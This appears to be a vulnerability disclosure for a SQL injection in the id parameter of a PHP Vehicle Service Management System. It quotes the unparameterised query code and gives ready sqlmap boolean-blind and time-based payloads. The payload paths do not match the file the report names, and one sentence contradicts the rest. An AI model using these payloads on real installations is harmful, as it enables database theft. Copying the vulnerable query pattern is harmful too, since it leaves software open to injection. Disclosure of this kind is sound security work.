

SQL injection vulnerability exists in id parameter of /admin/service_requests/manage_inventory.php file of Vehicle Service Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /admin/index.php and page parameter is 'service_requests/manage_inventory', it will include /admin/service_requests/manage_inventory.php, and id parameter can do sql injection.

```

2  if(isset($_GET['id']) && $_GET['id'] > 0){
3      $qry = $conn->query("SELECT * from `service_list` where id = '{$_GET['id']}' ");
4      if($qry->num_rows > 0){
5          foreach($qry->fetch_assoc() as $k => $v){
6              $$k=$v;
7          }
8      }
9  }
10 }
11 <div class="card card-outline card-info">
12 <div class="card-header">
13 <h3 class="card-title"><?php echo isset($id) ? "Update " : "Create New " ?> Service</h3>
14 </div>
15 <div class="card-body">
16 <form action="" id="service-form">
17 <input type="hidden" name="id" value="<?php echo isset($id) ? $id : '' ?>">
18 <div class="form-group">

```

```

sqlmap identified the following injection point(s) with a total of 407 HTTP(s) requests:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=maintenance/manage_service&id=1' AND 7455=7455 AND 'aCPJ'='aCPJ

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=maintenance/manage_service&id=1' AND (SELECT 3712 FROM (SELECT(SLEEP(5)))dvFR
) AND 'nOmd'='nOmd

```

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Source Download:

<https://www.campcodes.com/projects/php/vehicle-service-management-system-in-php-mysql-free-download-source-code/>